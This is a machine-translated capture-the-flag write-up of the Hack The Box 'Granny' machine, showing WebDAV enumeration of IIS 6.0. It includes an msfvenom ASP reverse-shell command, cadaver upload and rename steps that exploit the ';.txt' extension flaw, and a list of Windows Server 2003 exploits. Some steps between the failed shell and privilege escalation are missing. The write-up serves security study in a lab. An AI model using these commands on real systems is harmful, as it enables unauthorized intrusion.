{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-windows-granny.-en","result":{"data":{"markdownRemark":{"id":"061e88ee-ec16-5aab-81f0-a324bd57b602","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I use the penetration-testing learning platform “Hack The Box” to study security.\nAt the time of writing, my rank on Hack The Box is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This time I am writing up the retired HackTheBox machine “Granny”.

\n

About This Article

\n

The content of this article is not intended to encourage acts that are contrary to social order.

\n

Please note that attempting attacks against environments other than those you own or are authorized to use may violate the Act on the Prohibition of Unauthorized Computer Access (the Unauthorized Access Prohibition Act).

\n

All statements here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

As usual, I started with a port scan.

\n
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.15  $RHOST/g' /etc/hosts\n$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\nStarting Nmap 7.92 ( https://nmap.org ) at 2022-07-23 17:48 PDT\nNmap scan report for $RHOST (10.10.10.15)\nHost is up (0.25s latency).\nNot shown: 999 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n80/tcp open  http    Microsoft IIS httpd 6.0\n|_http-server-header: Microsoft-IIS/6.0\n|_http-title: Under Construction\n| http-webdav-scan: \n|   Server Type: Microsoft-IIS/6.0\n|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH\n|   Server Date: Sun, 24 Jul 2022 00:49:07 GMT\n|   WebDAV type: Unknown\n|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK\n| http-methods: \n|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT\nService Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 27.76 seconds
\n

It appeared that IIS was running on port 80.

\n

When I accessed it, the site showed “Under Construction”.

\n

\n \n \n \n \n \n \n \n \n

\n

I ran gobuster in the background while continuing enumeration.

\n

Also, since the port scan showed WebDAV type: Unknown, I decided to check whether WebDAV was actually running.

\n
$ /usr/bin/davtest -url http://$RHOST/\n********************************************************\n Testing DAV connection\nOPEN            SUCCEED:                http://$RHOST\n********************************************************\nNOTE    Random string for this session: iEypK6GgIZG\n********************************************************\n Creating directory\nMKCOL           SUCCEED:                Created http://$RHOST/DavTestDir_iEypK6GgIZG\n********************************************************\n Sending test files\nPUT     aspx    FAIL\nPUT     cfm     SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.cfm\nPUT     php     SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.php\nPUT     asp     FAIL\nPUT     pl      SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.pl\nPUT     shtml   FAIL\nPUT     jsp     SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.jsp\nPUT     jhtml   SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.jhtml\nPUT     html    SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.html\nPUT     txt     SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.txt\nPUT     cgi     FAIL\n********************************************************\n Checking for test file execution\nEXEC    cfm     FAIL\nEXEC    php     FAIL\nEXEC    pl      FAIL\nEXEC    jsp     FAIL\nEXEC    jhtml   FAIL\nEXEC    html    SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.html\nEXEC    txt     SUCCEED:        http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.txt\n\n********************************************************\n/usr/bin/davtest Summary:\nCreated: http://$RHOST/DavTestDir_iEypK6GgIZG\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.cfm\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.php\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.pl\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.jsp\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.jhtml\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.html\nPUT File: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.txt\nExecutes: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.html\nExecutes: http://$RHOST/DavTestDir_iEypK6GgIZG/davtest_iEypK6GgIZG.txt
\n

PUT appeared to be available for several file types.

\n

I confirmed that an HTML file I created could be uploaded and then accessed through the browser.

\n
$ curl -T test.html http://$RHOST
\n

\n \n \n \n \n \n \n \n \n

\n

So I went ahead and tried to upload an exploit file.

\n

However, uploading an ASP file is restricted, so a direct PUT is not possible.

\n

Instead, I exploited a WebDAV vulnerability present in IIS 5 and IIS 6.

\n

Since this machine was running IIS 6.0, I could upload the exploit as a .txt file and then rename it to .asp;.txt, which allows shell.asp to be executed.

\n
$ msfvenom -p windows/shell/reverse_tcp LHOST=$LHOST LPORT=4444 -f asp > shell.txt\n\n$ cadaver http://$RHOST\ndav:/> put shell.txt\ndav:/> copy shell.txt shell.asp;.txt
\n

Reference: WebDav - HackTricks

\n

I expected to get a reverse shell this way, but for some reason the session dropped immediately and I could not obtain a shell.

\n

\n \n \n \n \n \n \n \n \n

\n

I also tried netcat-traditional, but that failed as well.

\n

Looking at the packets, it appeared that an inbound connection was coming from the target, but it terminated after receiving the ACK.

\n

\n \n \n \n \n \n \n \n \n

\n

Internal Enumeration

\n

Let’s move on to privilege escalation.

\n

I ran windows-exploit-suggester as usual.

\n
rm ./*.xls\npython windows-exploit-suggester.py --update\nls ./*.xls | (read d; python windows-exploit-suggester.py --systeminfo systeminfo.txt --database $d)
\n

A lot of results came back. Plenty to choose from.

\n

\n \n Open Redirection | windows/remote/32489.txt\nMicrosoft Outlook Web Access for Exchange Server 2003 - Cross-Site Request Forgery | windows/dos/34359.html\nMicrosoft Windows Server 2000 < 2008 - Embedded OpenType Font Engine Remote Code Execution (MS | windows/dos/10068.rb\nMicrosoft Windows Server 2000/2003 - Code Execution (MS08-067) | windows/remote/7132.py\nMicrosoft Windows Server 2000/2003 - Recursive DNS Spoofing (1) | windows/remote/30635.pl\nMicrosoft Windows Server 2000/2003 - Recursive DNS Spoofing (2) | windows/remote/30636.pl\nMicrosoft Windows Server 2003 - '.EOT' Blue Screen of Death Crash | windows/dos/9417.txt\nMicrosoft Windows Server 2003 - AD BROWSER ELECTION Remote Heap Overflow | windows/dos/16166.py\nMicrosoft Windows Server 2003 - NetpIsRemote() Remote Overflow (MS06-040) (Metasploit) | windows/remote/2355.pm\nMicrosoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation | windows/local/6705.txt\nMicrosoft Windows Server 2003 SP2 - Local Privilege Escalation (MS14-070) | windows/local/35936.py\nMicrosoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070) | windows/local/37755.c\n----------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n

In the end, everything failed except Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation | windows/local/6705.txt.

\n

Mysterious…

\n

Still, the exploit landed and I was able to retrieve the flag.

\n

\n \n